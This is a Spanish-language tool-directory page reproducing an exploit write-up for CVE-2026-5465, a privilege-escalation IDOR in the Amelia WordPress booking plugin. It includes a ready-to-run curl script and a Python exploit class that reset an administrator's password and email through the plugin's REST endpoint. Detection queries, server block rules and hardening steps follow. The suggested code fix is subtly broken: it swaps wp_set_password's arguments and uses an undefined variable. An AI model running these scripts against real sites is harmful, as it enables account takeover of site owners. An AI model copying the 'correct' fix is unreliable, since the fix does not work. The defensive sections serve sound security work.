Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-5465 — Exploit and analysis for CVE-2026-5465, an IDOR in Amelia WordPress plugin allowing authenticated Provider role to escalate privileges and achieve account takeover via insecure direct object reference. | Kitploit
Herramientas/GitHubGitHub/kaleth4/cve-2026-5465
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingMisconfiguration
GitHubkaleth4/cve-2026-5465

CVE-2026-5465

Exploit and analysis for CVE-2026-5465, an IDOR in Amelia WordPress plugin allowing authenticated Provider role to escalate privileges and achieve account takeover via insecure direct object reference.

Ver Repositorio
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-5465: Privilege Escalation en Plugin Amelia WordPress

⚠️ Resumen Ejecutivo

Vulnerabilidad crítica de Referencia Directa Insegura a Objetos (IDOR) en el plugin Amelia que permite a un usuario autenticado con rol de Empleado (Provider) escalar privilegios hasta toma de control total (Account Takeover) del sitio WordPress, incluyendo acceso administrativo.


📋 Datos de la Vulnerabilidad

AtributoValor
CVE IDCVE-2026-5465
SoftwareAmelia – Appointment Booking Calendar
Versiones Afectadas≤ 2.1.3
Versión Parcheada≥ 2.2.0
TipoInsecure Direct Object References (IDOR) / Broken Access Control
VectorRed (Autenticado)
ComplejidadBaja
ImpactoCrítico (Account Takeover)
CVSS v3.18.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639 (Authorization Bypass)

🔍 Análisis Técnico

Mecanismo de Explotación

El fallo reside en la clase UpdateProviderCommandHandler que procesa actualizaciones de perfil de proveedor.

Flujo vulnerable:

root@kitploit:~
1. Usuario autenticado como "Provider" (Empleado)
   ↓
2. Envía solicitud POST a endpoint de actualización
   {
     "externalId": 1,  // ID del admin (no del atacante)
     "firstName": "Admin Pirateado",
     "email": "[email protected]",
     "password": "nueva_contraseña"
   }
   ↓
3. Sistema NO valida si 'externalId' pertenece al usuario actual
   ↓
4. Utiliza wp_set_password(externalId, new_password)
   ↓
5. Contraseña del admin cambiada → Account Takeover

Causa Raíz

Ausencia de validación de propiedad (Ownership Check) antes de procesar datos sensibles:

root@kitploit:~
// CÓDIGO VULNERABLE (Simplificado)
public function updateProvider($providerId, $data) {
    // ❌ NO verifica si providerId == usuario_actual
    $provider = Provider::find($providerId);
    
    // Directamente ejecuta sin validación
    wp_set_password($data['password'], $provider->wp_user_id);
}

// CÓDIGO CORRECTO
public function updateProvider($providerId, $data) {
    // ✅ Verifica propiedad
    if ($providerId !== current_user_id()) {
        throw new UnauthorizedException();
    }
    wp_set_password($data['password'], $provider->wp_user_id);
}

Parámetros Explotables


💣 Proof of Concept

Requisitos

  • Cuenta de usuario con rol "Provider" (Empleado)
  • Acceso autenticado al sitio
  • URL del sitio WordPress

Explotación Manual (cURL)

root@kitploit:~
#!/bin/bash

TARGET="https://ejemplo.com"
PROVIDER_TOKEN="token_autenticado_del_provider"
ADMIN_ID=1

# Obtener NONCE de seguridad (si existe)
NONCE=$(curl -s "$TARGET/wp-admin/" | grep -oP '_wpnonce[^"]*' | head -1)

# Ejecutar actualización maliciosa
curl -X POST "$TARGET/wp-json/amelia/v1/providers/$ADMIN_ID" \
  -H "Authorization: Bearer $PROVIDER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "externalId": 1,
    "password": "Compromised123!",
    "email": "[email protected]"
  }'

echo "[+] Si la respuesta es 200, el admin fue comprometido"

Explotación Automatizada (Python)

root@kitploit:~
import requests
import json

class AmeliaExploit:
    def __init__(self, target_url, provider_token):
        self.target = target_url.rstrip('/')
        self.headers = {
            'Authorization': f'Bearer {provider_token}',
            'Content-Type': 'application/json'
        }
    
    def exploit_account_takeover(self, target_user_id=1, new_password="Pwned123!"):
        """Explota IDOR para cambiar contraseña del admin"""
        
        endpoint = f"{self.target}/wp-json/amelia/v1/providers/{target_user_id}"
        
        payload = {
            "externalId": target_user_id,
            "password": new_password,
            "email": f"pwned_{target_user_id}@attacker.com"
        }
        
        try:
            response = requests.post(
                endpoint,
                headers=self.headers,
                json=payload,
                timeout=10
            )
            
            if response.status_code == 200:
                print(f"[✓] EXPLOTADO: Usuario {target_user_id} comprometido")
                print(f"[*] Nueva contraseña: {new_password}")
                return True
            else:
                print(f"[✗] Fallo: {response.status_code} - {response.text}")
                return False
                
        except Exception as e:
            print(f"[!] Error de conexión: {e}")
            return False

# Uso
if __name__ == "__main__":
    exploit = AmeliaExploit(
        target_url="https://ejemplo.com",
        provider_token="eyJ0eXAiOiJKV1QiLCJhbGc..."
    )
    exploit.exploit_account_takeover(target_user_id=1)

🛡️ Indicadores de Compromiso (IoC)

Logs a Revisar

WordPress Audit Log (si está instalado):

root@kitploit:~
Usuario: [Provider ID]
Acción: User Password Changed
Usuario Afectado: Administrator
Timestamp: [Hora sospechosa]

Logs de Servidor (Apache/Nginx):

root@kitploit:~
POST /wp-json/amelia/v1/providers/1 HTTP/1.1
Authorization: Bearer [token]
Content-Length: [alta]
→ Respuesta 200 OK

Base de Datos WordPress:

root@kitploit:~
-- Cambios de contraseña no autorizados
SELECT ID, user_login, user_registered, user_pass 
FROM wp_users 
WHERE ID = 1 
ORDER BY ID DESC LIMIT 1;

-- Cambios de email sospechosos
SELECT user_email, user_login, user_registered 
FROM wp_users 
WHERE user_login = 'administrator' 
ORDER BY ID DESC;

Señales de Alerta

  • ✗ Cambios de contraseña del admin sin solicitud del propietario
  • ✗ Múltiples intentos POST a /wp-json/amelia/v1/providers/
  • ✗ Accesos administrativos desde IPs nuevas/inusuales
  • ✗ Creación de usuarios nuevos con rol Administrator
  • ✗ Cambios en configuración de plugins desde rol Provider
  • ✗ Logs de acceso eliminados o truncados

🔧 Mitigación Inmediata

1. Actualizar Plugin (Opción Preferida)

root@kitploit:~
# Vía WordPress Admin Panel
1. Ir a: Plugins > Plugins Instalados
2. Buscar: "Amelia"
3. Click: "Actualizar ahora"
4. Versión mínima segura: 2.2.0+

# Vía WP-CLI
wp plugin update amelia --allow-root

2. Desactivar Plugin Temporalmente

root@kitploit:~
# Vía WP-CLI
wp plugin deactivate amelia --allow-root

# Vía FTP/SFTP
Renombrar: /wp-content/plugins/amelia/ → /wp-content/plugins/amelia-DISABLED/

3. Restricción a Nivel de Servidor

Nginx (nginx.conf):

root@kitploit:~
location ~ /wp-json/amelia/v1/providers/ {
    # Solo permitir GETs
    if ($request_method = POST) {
        return 403;
    }
}

Apache (.htaccess):

root@kitploit:~
<FilesMatch "amelia.*providers">
    <LimitExcept GET HEAD>
        Require all denied
    </LimitExcept>
</FilesMatch>

📋 Pasos Post-Compromiso

Si el sitio ya fue explotado:

1. Cambiar Contraseñas (Inmediato)

root@kitploit:~
-- Cambiar contraseña del admin via CLI
wp user list --role=administrator --field=ID
wp user update [ADMIN_ID] --prompt=user_pass

2. Auditar Usuarios y Cambios

root@kitploit:~
SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 7 DAY);
SELECT * FROM wp_users WHERE ID = 1;

3. Revisar Sesiones Activas

root@kitploit:~
# Instalar y revisar plugin: WP Session Manager
wp plugin install wp-session-manager --allow-root
wp plugin activate wp-session-manager --allow-root

4. Resetear Claves de Seguridad

root@kitploit:~
// En wp-config.php, regenerar:
define('AUTH_KEY',         'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('SECURE_AUTH_KEY',  'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('LOGGED_IN_KEY',    'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('NONCE_KEY',        'PUT_YOUR_UNIQUE_PHRASE_HERE');

🔐 Hardening a Largo Plazo

1. Implementar WAF (Web Application Firewall)

root@kitploit:~
Cloudflare WAF Rule:
- Bloquear: POST a /wp-json/amelia/v1/providers/[0-9]+ desde IPs no whitelisted

2. Monitoreo Continuo

root@kitploit:~
# Instalar plugins de auditoría
wp plugin install wordfence --allow-root
wp plugin install sucuri-scanner --allow-root

3. Gestión de Roles y Permisos

root@kitploit:~
// Limitar capacidades de Provider
$role = get_role('amelia_provider');
$role->remove_cap('edit_users');
$role->remove_cap('manage_options');

4. Rate Limiting en Endpoints

root@kitploit:~
limit_req_zone $binary_remote_addr zone=amelia_zone:10m rate=5r/s;

location ~ /wp-json/amelia/v1/ {
    limit_req zone=amelia_zone burst=20 nodelay;
}

📊 Timeline de Descubrimiento

FechaEvento
2026-01-15Vulnerabilidad reportada a Amelia Team

📞 Contactos de Soporte

  • Amelia Official: https://ameliabooking.com
  • Wordfence Threat Intelligence: https://wordfence.com
  • WordPress Security: https://wordpress.org/plugins/wordfence/
  • CERT Coordination Center: https://www.cert.org

📚 Referencias

  • OWASP: Broken Access Control
  • CWE-639: Authorization Bypass
  • NIST: Privilege Escalation
  • Amelia Security Advisories

Clasificación: 🔴 CRÍTICO - Requiere acción inmediata
Última actualización: Abril 2026
Autor: Equipo de Seguridad

Descargar herramienta
ParámetroTipoImpacto
externalIdIntegerCambio de identidad (IDOR core)
passwordStringModificación de contraseña
emailEmailRobo de sesión si se restablece
firstName, lastNameStringAlteración de datos no crítica
2026-02-01
Parche disponible (v2.2.0)
2026-02-10Publicación responsable de CVE
2026-02-11Exploits en la naturaleza
HOYRecomendación de actualización urgente